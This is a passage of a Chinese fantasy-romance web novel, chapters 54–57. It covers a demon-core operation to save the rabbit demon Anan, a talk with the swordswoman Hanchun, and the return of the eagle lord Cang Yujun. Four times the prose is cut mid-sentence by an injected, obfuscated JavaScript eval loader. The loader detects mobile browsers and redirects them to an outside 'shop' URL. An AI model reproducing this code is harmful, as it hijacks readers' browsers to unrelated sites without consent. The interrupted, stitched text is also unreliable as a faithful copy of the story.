景枫区区一介凡人,要是命里没有累世的功德,寻常仙妖都动不得,厉胤还能让他安然无恙地带安安离开? 他怕是第一时间就会结果了这个凡人,仍旧将安安捆在身边罢。 “你之本性如何,我已摸得八分清楚,你不必花心思诓我。”她似笑非笑地说道,“不过,你对这小兔妖的心倒是诚的,这颗妖丹可以用。过来躺下,我研究研究怎么剖丹。” 厉胤眼睛一亮,立刻依言躺到安安身边。 这客栈床榻不算宽,她身边的空间很是逼仄,可他看着她无知无觉的睡颜,慢慢俯下身到与她齐平,毫无不适,唇边浮起一丝微笑,仿佛弥补了他与她新婚之后本该有的无数个同床共枕之夜,心里无比舒坦。 他赴死赴得这般坦然,花清浅着实也有些钦佩,刻意放柔了几分打入灵力,让他无知无觉地昏睡过去。 “等等——”在她下一步动作之前,景枫忽然叫出声道:“姑娘这就要取丹,不是还需一味襄怜丹草么?” 花清浅头也不抬:“那草稍后自会有人送来,不必着急。”用水系术法剖丹,她也剖得不多,故而眼下最要紧的,乃是搞明白厉胤的筋脉,免得下手不准,给人家徒增痛苦。 灵力顺着厉胤筋脉游走,刚刚到达妖丹所在,门外就传来一声轻响。 预料之中的人来了。 花清浅收回灵力,隔空打开门,女剑修冷着一张脸进来,看清她的容貌后却惊呆了,抱剑行礼的动作僵在半空中。 “是的,你没看错,本蛇没死,当初只是摆了神君一道,你别瞪眼睛了。”花清浅没有废话,开门见山同她道,“救安安需要襄怜丹草,你晓得如何取吧?” “……我知道。” 寒春很快整理好表情,再三确认她有办法救安安,毫不犹豫便要赶去北地。 “慢着!你就这样去,是想送死么?”怎么一个个的都想排队送人头,花清浅抢在她动身前喝住她,自己从乾坤袋里取出之前吕浮白送她的牦牛皮靴,塞到她怀里,叫她穿上。 有这双皮靴,虽然她仍会被星阵刁难,但不会有性命之虞。 寒春道过谢后再没耽搁,即刻前往北地。过不多时,一口仙气包着一株襄怜丹草,晃晃悠悠地飘进客栈房内。 - 一片白茫茫的雾气。 厉胤知道,这是花清浅灵力铸造的幻境。这幻境不算牢靠,是她故意为之,他若生出后悔之心,随时可以打碎幻境,魂魄归体,保住妖丹。 他在原地盘腿坐下,没有半点打碎幻境的意思,心知大限将至,不能自制地回想起与安安共度的最后几日。 她无师自通学会了软刀子割人,说话时还是那么乖那么软,却句句都往人心窝里戳。 “仙子从何处寻来厉胤的。”他躲在屋门外,听她对寒春轻巧地问道,“他演得真好,我从来没有怀疑过,他竟是奉命来拐我上/床的。” 寒春解释了些什么,只听安安接着笑道: “原来如此,你们是半道同谋,怪不得彼此不合。我死了以后,你们可千万不要分赃不均啊。” “小安!别说这种话,你不会死的!” “唔,可是过两日,我就要成年了,按照你们的计划,我血肉榨尽,难道还能有什么活路么?” 厉胤闻言简直心神俱焚,咬牙破开屋门上的结界,把越描越黑的寒春推到一边,仓皇嘶哑地叫道:“安安,你信我,我不会让你死,我不会让任何人伤害你——” 桌前执着茶杯的少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687632|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女慢慢转过眼珠,视线从他身上划过,眸中冷淡简直要把他割伤。 不对,不对,不该是这个样子的。 他怔怔地想。 安安看他的眼神,不该是这样麻木又冷静的,应该是热烈的,雀跃的,单纯得掩饰不住欢喜,犹如那个桂花树下的午后—— 那阵天气渐凉,安安夜里吹风发起低烧,把寒春吓得够呛,罚她半个月不许吃桂花糕。可她又实在馋那一口甜,于是厉胤自告奋勇,就地取材,爬上院中那棵桂花树采花,准备偷偷做蜜给她吃。 蜜獾一族本来很擅长爬树,但厉胤化人形久了,四肢按照前后爪的方法爬树,很有些不协调,几次卡在树枝间,几簇桂花没弄到怀里,全落到树下去了。 明黄色桂花簌簌如微雨,她在树下为他放哨,看见他狼狈的模样,忍不住歪着脑袋冲他一笑。 她笑起来傻乎乎的,很可爱,一双眉眼弯成姣好的月,唇角上翘,显出两点梨涡,爱意不加掩饰,明晰大方,一目了然。 ……他便也回了一个笑。 - 榻上,花清浅还没来得及对厉胤妖丹下手,就见他浑身发起抖来,唇边微笑未退,眼角却有一行清泪流下,口中喃喃着:“——安安。” 此情此景,景枫都看不下去,他走上前一步,对花清浅问道:“姑娘,可还有其他的法子?如此剖了这位仁兄妖丹,他必殒命,想来也不是安安所乐见的。” 花清浅没有答话。 吕浮白将她对厉胤一瞬间的触动看在眼里,说道:“不如让我来罢。” 花清浅犹豫片刻,目光望向沉睡中的小兔妖,却还是摇了摇头。 “厉胤个性顽固,若他毫发无伤,见安安恢复如初,定会继续强求。”她说,“我不知道安安会不会乐见他殒命,但我知道,她绝对不想再被他拘回去。” 景枫一滞:“那怎么办?” “安安不给他第二次机会,我也不会替她做主。”她说,“只是这性命的代价太大了些,得想个周全之策才好。” 此事本就艰难,两全之策更是难寻,但花清浅既然在这里,就没有不周全的道理。 “这样好了,厉胤法力深厚,妖丹也强健,我只取他薄薄一层来补,顺道消去有关安安的记忆,于他本体无大害。”她很快决定道。 “可这书上——”要求的可是一颗完整的妖丹啊。 花清浅挑眉:“书上的术法,略作改动就是了。我改术法修习的本事连凤凰神君都说好,你若不信,尽管上神界问去。” 景枫一时无言,吕浮白却垂眸掩住点笑意,说道:“那便动手吧。” 花清浅没有说谎,以前她的确改过几个术法,傅玄也称赞过她悟性极佳。不过眼下涉及一条大妖性命,她心里其实没有表现出来的这么自信,听到吕浮白这句话,才算安稳了些。 怕什么,实在不行还有孔雀上神兜底,放手一搏就是。 考虑到景枫有圣人之心,见不得血光,她先把景枫差遣了出去。 在他关上门的一刻,她白皙的指尖凝起点点蓝色灵光。 55. 第55章 遵从花清浅的嘱咐,景枫默默等着,不知具体过去多久,只见外面天色由暗转明,就在他实在忍不住、走到门前想要问问是否出了什么事的时候,那扇朱褐色的房门终于打开。 花清浅惯常芙蓉似的明艳小脸浮上一丝倦色,她撑着门,让他进去:“放心,小兔妖没事了。” 景枫匆匆道一声谢,大踏步走进去,见到榻上只剩了安安一个人,厉胤的身影已经消失不见。 她转头看向他,朝他绽开一个笑。 “肚子好饿,想吃桂花糕。”她说,“清浅姑娘说,我还不可以下床走动,你给我点两个送上来,好不好?” - 花清浅下手很轻,厉胤的妖丹只是略微受损,抹去记忆之后,在梦里无知无觉化作了原形。她在酒楼僻静的后院叫来蔗县土地公,把蜜獾交给他,让他去郊外蜜獾一族聚居之地放生。 忙了一夜,她也腹中空空,当下略作梳洗,与吕浮白去酒楼一楼吃了顿简单的早点。 “寒春回来了。”她喝着豆浆,听吕浮白低声说道:“就在隔壁客栈。” 花清浅小吃一惊。 之前见襄怜丹草是由一口仙气托着回来,而不是寒春亲自送的,她便心知,寒春八成被困在了阵中。 北地群星的阵法环环相扣,循环往复,专困执念之人,以寒春对小兔妖的妄心,还不得被困个几百年? “仙子怎么这么快就出来了。”花清浅生出些好奇,“你且在这里等等,我与她好歹是旧识,过去慰问一下。” 吕浮白却拂袖随她起身,执意道:“一起。” 这都是小事,花清浅任由他跟在后面,与她一起拐进隔壁客栈。 隔壁客栈装潢比安安所在酒楼更显雅致,也更显清素,寒春就在客栈包厢内,见二人寻上门来,也不太惊讶,只惨淡地笑笑,请他们上座。 “清浅,好久不见。不知这位上神是……?” “这是孔雀大明王的世子,吕浮白。” “孔雀世子居然醒了?”寒春有些诧异,“看来鸟族局势风云变幻,又该变天了。” “先不说这些,你是如何挣脱星阵的?”花清浅有些累,也懒得多做寒暄,干脆直入主题。 “我是剑修。”寒春朝吕浮白行过礼,淡淡道,“一剑劈开就是。” 这般不要命的打法,难怪她周身弥漫的灵气不太稳定,原是剑招耗费仙力过大,反噬了仙体的缘故。 花清浅不懂仙人生理,却也知道反噬之痛,下意识皱起眉。见状,寒春给她倒了杯茶,说道:“此番……原是我咎由自取,让清浅与上神见笑了。” 她这一起身,花清浅才发现她身后有个水银铸成的小镜,镜中光华流转,赫然倒映出那厢的安安,她正与景枫说着什么,脑袋顶上长耳的白色绒毛都纤毫毕现。 寒春周围的灵气波动得像是快要死掉,都这样了,她居然还不速速调理仙体,而是第一时间耗费仙力查看隔壁小兔妖的情况! 对于这位昔日的一面之交,花清浅简直恨铁不成钢,又惊又怒道: “寒春仙子,我看你是个清醒剑修,怎么如今糊涂到这个地步! 惊鸿木一事你已悔过,倒也罢了,可是如今安安明摆着要与你一刀两断,你怎么还执迷不悟? 你看清楚,她不会原谅你的,你再这般阴魂不散凑上去,只会惹她厌烦!” 寒春扯出一个比哭还难看的笑:“我没想凑上去。” “那你花这么大功夫偷窥人家——” “我只是想看看她。”寒春低垂下头,静静道: “我知道她烦我,不愿意见我……可我就是,想多看她一眼而已。” - 即使是神仙,成年累月去爱一个人时,无论真假,都会变成一种惯性。 不知是从什么时候起,或许是寒春第一次去镇上买酒,被小兔妖抓住手臂,软软地要她少喝琼浆,注意身体的时候; 亦或是那次镇上醉汉调戏姑娘,寒春看不过眼打了他一顿,却被那醉汉父母污蔑不知检点,对醉汉投怀送抱,小镇邻居不明真相,也对她颇有微词的时候。 小兔妖身在学堂,因她被同窗们指指点点,可下学后,她没有埋怨寒春连累她,而是凑在她耳边说:“姐姐不要为无关的人生气。我永远站在姐姐这边!” 小安说,要永远站在她这边。 寒春仙子浸泡在爱里太久,一颗心俨然也变成了凡心,七情六欲蓬勃重生,都寄托在小安身上。 “厉胤非是良配,我很早就开始后悔引狼入室了,可是怕他跟小安胡说些什么,又不敢强插手。”说起那只蜜獾,她嫌弃地皱皱鼻子: “后来我发现,小安当真喜欢上了厉胤,气恼一番,便也罢了——我想,怎么都好,只要她留在我身边。” 可是她给出的爱是虚假的,小安一旦戳破那层温和的表皮,看清她真实的丑陋面孔,便要忙不迭地逃离。 小安被景枫救起,寒春跟在两人身后,景枫一介凡人,难免有照顾小兔妖不周到的地方,她便化出水银镜,在暗中护持小安,决不出面叫她为难。 景枫把小安背回了他家,景家在柳枝江畔村尾,家里有个挺大的园子,一半用木篱笆围起种菜,另一半是郁郁葱葱的花草林木,其间还有几只小犬出没,看起来只有他一人居住。 在半路上时,寒春就看出安安已经醒了,但或许是在寒春与厉胤这里吃足了教训,安安很有戒心,一直没睁眼,景枫将她安置在床上,她便故意放浅了呼吸假寐。 请来隔壁的大娘为安安更衣,景枫关上门,生火做起了鸡汤。 他动作不紧不慢,先将今日刚买来的半只鸡焯水,下锅大火烧开,又压了些柴用小火煨煮,汤水里逐渐泛起清亮的油花。将油花舀去,继续加入散寒的桂枝和干姜,在这时放盐,将鸡肉骨髓里榨出的鲜香牢牢锁住。 一套工序行云流水,鸡汤清淡的香气飘进屋里,安安再也装不下去睡,状似迷蒙地张开眼。 “景娃子,这女娃娃醒啦!”大娘给安安盖上薄被,推开门朝景枫嚷道,“我赶着回家做饭,就先走了,你小心照看着点!” 景枫给她盛了一大碗汤,装在篮子里,请她拎回家去,大娘也没推辞,高高兴兴拎着篮子走了。 他端着剩下的鸡汤进到屋里,见安安一双眼睛滴溜溜地盯着他手里的碗,不由哑然失笑,说道:“我这就给你盛汤。” “谢谢。”安安给自己掖了掖被角,乖巧地道:“多谢你救了我,我叫安安,你叫什么名字?” “我名景枫,风景的景,枫叶的枫。” 他将一小碗汤端到安安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701288|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前,安安看了一眼,可怜巴巴道:“我饿了几天了,想吃点肉,哪怕啃骨头都行。”她早已瞧上了锅底的那根鸡腿,这人却怎么只给她汤喝! “你刚醒来,正要喝些汤水,贸然进食恐于脾胃不佳。”景枫耐心说道。 安安想一想,也有道理,于是埋头喝汤,这一放松,脑袋顶两只长长的兔子耳朵却冒了出来…… 草药封印失效,安安的妖族身份彻底暴露。 从前在小镇,街坊邻居对妖族都是既害怕又排斥,故而安安发现自己是兔妖时,也有过好一阵的挣扎。 如今景枫迎着她忐忑又心虚的目光,没有骂她是怪物、要她滚出门去,而只有一句话说。 “你的耳朵——”他缓缓眨了眨眼,脸上腾地红了,“好漂亮。” - 水银镜前,寒春看着景枫毫不费力便接纳了一个妖族,还想尽办法帮安安保守秘密,为她打了白色绒毛点缀的柳枝木簪,又在院中架了秋千哄她开心。 他是个手艺人,做的东西精巧生花,又会煮饭弄茶、种菜缝衣,正与安安柔和绵密的脾性相投。 寒春眼睁睁看着小安以惊人的速度与景枫交好,心里怅然若失,五味杂陈,自是不必多叙。 “那凡人命格非同寻常,厉胤却依旧怒气上头,想取他性命,将小安强抢回来,都是我拦下了他。”她重新坐下,看向水银镜中的人影,仿佛失去所有力气般说道: “因为我知道,小安是真心不想再见到我们任何一个人,她宁可召唤邪魔,就是在告诉我,与我死生不复相见。” 这事着实无解,花清浅觉得她挺惨,也只能劝她道:“想开点吧,何必这样自苦。” 寒春并没有正面答她的劝告,她抿了口绿针翻卷的雾里知春,叹息声消散在清淡氤氲的茶香里: “当初我贪念迷心,摒弃真情,合该有今日。有时候我会想,是不是如今我越痛苦,小安就能越快慰……” “胡说!”花清浅不假思索地摇头,“安安不是那样的妖。” “那你呢?” 花清浅一时没反应过来:“这跟我有什么关系?” “这面水银镜,并非是我自个想出来的法子。”寒春意有所指道: “在天上时,我曾听闻凤凰神君以神力倒灌水月镜,试图逆转时空,以救亡妻,便依样画葫芦,想到用水银镜探视小安情况。” 听到“逆转时空”,花清浅瞬间想到她从前做的那些梦。 神明也没有篡改时空之力,可他的念力那样汹涌,居然在冥冥之中与她心神相连,影响到了她的梦境。 她仍然不觉得傅玄爱她,可到这时候,也不得不承认他很看重她:六界生灵何其浩瀚,该是多深重的执念,才会在万千人海里准确寻到她一人的梦? 有些不自在,她长睫微颤,下意识看向吕浮白,却发现孔雀世子也很有些不自在似的垂下了头。 ——是了,他一向奉傅玄为老祖宗,如今却喜欢上了祖宗亡妻,合该他不自在。 这么一想,她心里生出几分好笑,抿了抿茶以作掩饰。 寒春还在继续说:“清浅,这些年来,神君的愧疚之心只怕比我如今深厚百倍。” “我说这些,不是要你立刻原谅他,只是想让你知道,他并不是对你无动于衷。” 56. 第56章 从前仙侍和妖族大多嘲笑花清浅,难听些的,说她对神君死缠烂打,果然是条淫/蛇,不知廉耻;好听些的,也说她白长了副妖媚祸/水相,居然是副倒贴自贱的命。 寒春身为万里挑一的女子剑修飞升,对情情爱爱素来不屑一顾,一开始也对这条蛇妖恨铁不成钢,后来亲自接触了花清浅,才对她有所改观。 ——这条小花蛇看似一腔痴情,实际最是清凌凌的性子,狠起心来,爱了多少年的心上人也可以说舍就舍,干脆利落得叫人心梗。 便如同她的小安一样。 - 一席话毕,花清浅站起身,道:“多谢你的茶,我们在安安那边还有事,就先过去了。你保重。” “二位慢走。” 吕浮白走在她身边,为她打开包厢大门,花清浅回过头,最后看了眼寒春仙子。女剑仙立在原地,身影依然挺拔,孤单得像是轻轻一抹就能消失的影子。 不由想起多年之前,她与寒春仙子在海边遇见,那时的剑仙行动潇洒,一心想着增强修为、早日化神,虽也是孤身一人,可心气始终是热腾腾的,哪有今日这样寂冷的样子。 心知再劝也是无用,花清浅摇了摇头,径自走出去。 隔壁酒楼。 安安面前摆了好几份容易克化的汤汤水水,用一张玲珑小巧的梨花木折桌支着搭在榻上,桌下镂空,使得她能美滋滋地舒展双腿,左吃一口馄饨,右喝一口清粥,安逸极了。 “这是景枫给你买的?”花清浅推门进来,看到小桌上这么多的点心,一看就不是这酒楼能做出来的,不说别的,光说那纯然雪白的清粥,便只有可能出自八仙斋级别的大厨之手。 安安羞涩地低下目光,又有点小得意,脑袋上的长耳朵不受控制地晃了晃:“不是啦,是他借用酒楼灶火,给我亲手做的。” 花清浅看她丝毫没有掩饰妖族特征的意思,叹了口气,坐在床边递给她一本书。 “《妖族入世基本法》?”安安照着扉页一字字念出声。 “嗯,我弟弟就是照着这个学,现在常人都看不出他是妖。”花清浅道: “你也可以学一学。景枫一个人接纳你是不够的,凡人大多秉承非我族类,其心必异,要在凡间过活,你还是把妖族身份隐藏起来的好。” 安安下意识看向景枫,后者对她点点头,她便欣然将书抱在怀里,笑道:“好,我一定认真学!” 她胃口不大,片刻不到已经吃撑了,当下用酒楼送的清凉薄荷水漱了口,又拈来景枫特意为她备的锦缎帕子将脸蛋与唇角细细擦净。 花清浅帮着撤下那张小木桌,安安软乎乎地朝她道谢,随后低头,从衣裳袖子的浅兜里掏出两枚木片。 “这就是惊鸿木,姑娘收好。”她说,毫无留恋地将其交到花清浅手里,还捂着嘴打了个嗝。 两枚惊鸿木表面平滑,触感温和,颜色深黑,透着点褐,看似平平无奇,却在接触到花清浅掌心的一刹那发出了柔和的灵气。 “哇,好舒服的气息……”安安不自觉被灵气吸引,挨挨蹭蹭下了床,凑到她身边。 花清浅看她一眼,心中有点不是滋味:妖族吸取灵气修炼,本该是有爹娘或者同族长辈教的,可安安从小就被封印,连灵气是什么都不知道。 这么一看,她宁死也不愿原谅寒春,确实在情理之中。 “这就是灵气,对你很有好处,我给你的那本书里有详细说明,你记得看。”花清浅说着,从衣襟里拿出嗡鸣的神牌,将迫不及待合而为一的三者扣在一起—— 一瞬间,仿若千百盏宝灯齐齐炸开,耀眼明亮的灵光从她手头迸出,与此同时,她的脑海中忽然多出一段清晰的记忆。 这段记忆不属于任何一个人,倒更像是惊鸿木记录下的一段影像,花清浅因这影像的巨大冲击力脑中一晕,下意识退了两步,被吕浮白稳稳揽着肩膀扶住。 “没事吧?”他问,一缕神力顺着他指尖流入她的筋脉,那股快要吐出来的恶心感顿时减轻不少。 她感激地点点头,站直了身子。 ——却没有像往常一样立刻离开他的怀抱,与他拉开距离。 两人离得很近,吕浮白心尖不由一跳,他用力按住那颗心,告诉自己,她只是忘了要推远他,不能得意忘形。 “姑娘怎么啦?”安安还沉浸在灵气里,不明所以地问道。 花清浅看着她的脸,眼前浮现出刚才那段影像中另一张相似的轮廓,不动声色道:“没什么,刚刚被光刺了眼睛。” 安安信以为真,松了口气,坐回床上,又问:“这惊鸿木,原本是姑娘的东西吧?” 花清浅想了想道:“严格来讲,这应该是我爹的。” 这东西果然是花家之物……怪不得她手里有跟这惊鸿木完全嵌合的玉牌。 惊鸿木原主是她爹,最后却落在了长耳祟煞手里,此事不能细想,安安怔怔地看着她,过了好一阵才开口:“那、那现在也算是物归原主啦。” 她原本还想说,看在她归还惊鸿木的份上,花清浅可不可以不要追究上一辈的恩怨,可是一想到这颗妖丹也是花清浅补的,又觉得自己没有谈条件的资格。 “嗯,谢谢你。”见她脑袋上两只毛茸茸的白耳朵耷拉下来,花清浅指尖蠢蠢欲动,忍不住伸过去揉了揉: “我们要回家了,你好好学那本《妖族入世基本法》,学成了记得来慕城南边的小院,我要仔细考校你学得如何。” 安安被她揉得一愣,后知后觉反应过来,她根本没有在意长耳祟煞的过往。 “姑娘再见!公子再见!”花清浅和吕浮白已经走出了门去,安安两只长长的白耳朵瞬间支棱,对着两人相携离开的背影使劲挥手,叫道:“在慕城等我啊,我一定很快就去拜访你们!” 等那两人身影消失在门外,她歪着脑袋,小声道:“哎呀,他们走得太急,我都没来得及问那个问题。” “什么问题?”景枫一面将桌上的茶杯残水倒掉,将乌木桌面收拾干净,一面温声问道。 “她跟那位吕公子,是什么关系。”安安说,“那位狐妖姐姐说,清浅姑娘得听吕公子的,他们是上下级关系,可我觉得不像。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715181|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位吕公子看清浅的眼神,就像、就像是……” 就像寒春与厉胤第一次寻回她后,看她的眼神一样。 甚至吕浮白还要更加小心翼翼,仿佛他看着的人没有真真切切地站在他身边,而是虚幻的水中月、镜中花,一不小心就会碎掉一样。 “——就像是寻回了前世失而复得的宝物,又爱又怜,要牢牢看着的那种感觉。”安安换了措辞,有些俏皮地说道,“跟你看我的眼神一样。” 景枫清俊的脸上神情不动,他搬起一张小几,放到她床头,给她放花:“你说得对。” “能遇到你,大约确是我前世积的德。”景枫往花瓶里斜插进两支山茶,敛着眉眼,透过花枝看她:“可得认真看牢了。” 安安小脸慢慢涨红到耳朵尖。她翻了个身,趴在榻上,用宽大的软枕遮住脸颊羞红,可是却忘了遮住耳朵,毛茸茸的长耳在脑后摇来摆去,引得景枫无声地勾起唇角。 - 走出酒楼,花清浅打了个哈欠,偷偷看向身旁的孔雀世子,心道这吕浮白跟着她熬了一天一夜,居然完全没有疲态,上神到底是上神。 察觉到她的目光,吕浮白微微侧过脸,低声问:“怎么?” 他鼻梁高挺,眉目周正端严,一双眸子是沉沉的黑,眼底有着与傅玄一脉相承的沉稳,但比起那位老祖宗,他这面貌到底更年轻,神色也不那么冷,似乎还多了点别的什么东西。 日光斜着照在他英挺的眉骨处,从花清浅此刻角度望过去,他的轮廓沐浴在一层的浅金色里,愈发显得深邃,俊朗得不像话。 可恶,难道这就是种族天赋,鸟族化人怎么都这么好看? 再往下看,玉京子那笨蛇所说不错,吕世子的肩果然要比东方容楚宽些,她说什么来着,上神到底是上神,身材就是傲人…… 她思维一时有些混乱,摸索着抓住吕浮白骨节分明的手:“你、你别急,且叫我好好想想。” 叫她好好想想,她眼下心跳错的那一拍,是单纯的色令智昏,还是她这么快就对不起东方了? 酒楼外人潮熙攘,实在不是想这种事的好地方,她由吕浮白轻轻握着手,带到一处较不引人注目的角落,捧着下巴认真思考起来。 怕她被偶尔过路的人马冲撞,吕浮白将她松松地半圈在怀里,虽然不知她在思索什么,但见她仿佛古画中远黛山水的秀眉微蹙,那双水眸光华流转,一点泪痣也显得可怜又可爱,不由心间发颤。 他下意识想帮她敛去眉间忧色,忍了又忍,最终还是抬起手来,往她眉心抚了抚。花清浅似还沉浸在先前的思绪中,没有闪躲,只抬起浓长卷翘的睫毛,愣愣地看向他—— “轰隆!” 不远处忽然传来一声暴响,花清浅顿时惊醒,转过头,看到街角从天而降一袭红衣的高大身影,正朝这里气势汹汹逼近。 来人鬓发散乱不羁,像是匆忙赶到,薄唇唇角干裂,因为紧紧抿着而更逼出些殷红,布着血丝的桀骜双瞳死死瞪着她,以及居然胆敢与她靠得这么近的吕浮白。 是她熟悉的,西陆妖尊的风格。 57. 第57章 在星沙海深处时,周遭寂静无人,苍御峻踽踽独行,一路上想了许多。 与他青梅竹马的之墨居然私通蛇族,在他眼皮子底下珠胎暗结,光是剖了她的丹、当风扬灰怎么能够? 按他的脾性,脑子里一有空闲,便应该好好琢磨琢磨该如何进一步拿她魂片泄愤。可奇怪的是,他几乎很少想起过之墨。 反复出现在眼前的身影,总是花清浅,总是她那张美得夺目、叫人嫉恨的脸。 ——总是她穿着与他相配的尊后服秩,弯出一抹笑,棕色水眸朝他看过来,顾盼生辉的样子。 - 花清浅喜欢他,喜欢得无法自拔、神魂颠倒,苍御峻一早就知道。 五十年前绿尾海鸥一族叛乱,他当仁不让亲自前往剿灭,花清浅误入战局,看他容貌看得呆了,竟傻乎乎愣在原地,被一道三岁小儿都能躲过的水箭穿肩而过。 当时,他以为她和那些挖空心思做尊后的外族女子一样,明明与他毫无干系,却硬是幻想在他面前受伤就会惹来怜爱,自然不会有那个好心救她。 他嗤笑一声,等着她挤出泪花后向他求救,做好准备要狠狠羞辱她一番。 花清浅却并没有唤他,而是自个开始施法,随着指尖蓝色灵光闪动,水箭外附的术法飞速消弭于无形,箭体化为清水,顺便将青绿衣裳上的血痕冲淡,不过片刻,她看起来就跟没有受过伤一样。 这样轻便准确的水系术法,苍御峻也是第一次看到,心生了些好奇。正要问她是何来历,却见她忽然抬起头,对他高声叫道:“尊上小心!” 他回过身,只见后方袭来一道戾气,离他天灵盖已不过咫尺之距,好在被她用灵力拖住,减缓了攻击的速度。 苍御峻不会被区区戾气要了性命,但这东西自战场而生,沾染在身上会引来屠鱼,也不好清理,花清浅算是为他省了趟麻烦。 他匆匆道一声谢,不再多话,转身的霎那红袍变乌翼,展翅飞上高空,鹰目眯起瞅着时机,只待一个猛子扎下结束战局。 高空云流飞絮,底下的一切变得渺小不可及,苍鹰得天独厚的视力却让他将地面看得一清二楚:那出手救了他的小蛇妖仍痴痴地望着他离开的方向,半晌没有挪动步子。 哎,苍御峻当时就油然而生一股无奈。 自己生得副好皮相,剑眉深目,宽肩长腿,又有久居上位者的霸气与桀骜,陌生小蛇一见钟情,这是很正常的事; 可这小蛇妖也真是的,周围还在打仗呢,她就看他的英姿看得呆了,都不会控制一下自己的么? 以无可置疑的战力镇住绿尾海鸥全族、扫清西陆海滨之后,苍御峻专门召见了花清浅一回。 “你不是西陆蛇族,本座此前从未见过你。”他眯起眼睛,打量着她那双显得楚楚可怜的水眸,“你是何人,第一次见面,怎知本座就是尊上?” “……我是蛇谷来的花蛇,名叫清浅。” 花清浅按照西陆礼节半跪下身,她那日穿着青绿色长裙,袖口与胸前绣着大团的荒野玫瑰,腰间用琉璃翠带系成繁星结,纤细妖娆,风姿尽显。 无数妖族曾在苍御峻座下行过这个礼,可再普通的动作,让花清浅做来,仿佛都能勾人心魄。 她如花瓣般绽开的裙摆垂曳在地,毕恭毕敬道:“听闻西陆妖尊修为高深,上可与神一战,我心生仰慕,特来瞻仰妖尊,提前看过尊上的画像,才好歹没有失礼。” 花清浅初来西陆,消息倒是灵通。她知道苍御峻要建一台大阵祭天,却苦于没有聚灵石做阵眼,提出与他做一桩交易,她给他百块聚灵石,换他答应她一个条件。 苍御峻问:“什么条件。” “我弟弟的魂片在孔雀大明王洞府。”她说,“青逸山守卫森严,我试过去拿,未能得手……但尊上修为高深,对付吕简等众应该不费吹灰之力。” 大明王吕简不事修炼,还仗着上神之尊,很爱摆鸟上鸟的谱,苍御峻看他不爽很久了。 花清浅这个提议正好撞到他心坎里,他一口应下,花清浅也很爽快,当即将百块聚灵石呈至摆放大阵的后山,与他亲手一颗颗安好阵眼。 如果安置最后一块聚灵石时,绿尾海鸥一族仅剩的死士没有来攻,苍御峻没有受伤,花清浅也没有不顾生死将他拖回宫中,后来的一切都不会发生。 可命运偏是如此安排,叫苍御峻受伤昏迷,叫悉心照顾他的花清浅被苍母瞧见—— 苍母的眼光比他这个儿子敏锐得多,眼瞧着之墨外出修炼,音讯全无,他却还是为她守身如玉,她老人家焦心如焚,却也做不了什么。 如今另一只美貌蛇妖居然能守在他的榻前,与他如此之近,苍母不由得欢天喜地,乃至于苍御峻一醒来,便得知自家母亲有意封花清浅为尊后的消息。 可怜苍母一头矫健的老雌鹰,年老了还要为儿子成家费心劳神,苍御峻不忍她再失望,于是将错就错,与花清浅假意成了婚。 那场求亲仪式潦草至极,花清浅那么娇贵的脾气,居然也能答应……除了爱他爱到死去活来,苍御峻想不到第二种可能。 - 因有极光困扰,星沙海深处飞翔极其困难,苍御峻硬撑着用双腿翻过一座又一座的沙崖峭壁,一遍又一遍地想。 那么爱他的花清浅,在最后那一刻,到底是如何下定决心离开他的? 扪心自问,苍御峻其实也有些线索。 与花清浅成婚数十年,除了苍母在世的那一年之外,他对她委实说不上好。 花清浅明里暗里吃过不少委屈,他都知道。 有些是她身为尊后,不得不顾全大局,还有些,纯粹是因为…… 因为之墨回到了西陆,他却已经成婚,心中觉得对不起她,对她挑拨陷害花清浅的伎俩睁一只眼闭一只眼。 更不必说成婚三十年,他仍习惯性地守着“贞洁”,让她守了整整三十年的活寡…… 每每回忆到此处,苍御峻总是下意识地联想到与花清浅相见的最后一面。 那一年他们又因为小事吵了起来,两人憋着谁也不见谁,可是正巧灰背山雀族供奉了荆棘果,这是她最喜欢吃的果子,他便顺手做了点荆棘果糕,打算拿在她面前晃几圈。 她若乖乖服软,他便赏她些果糕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721175|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 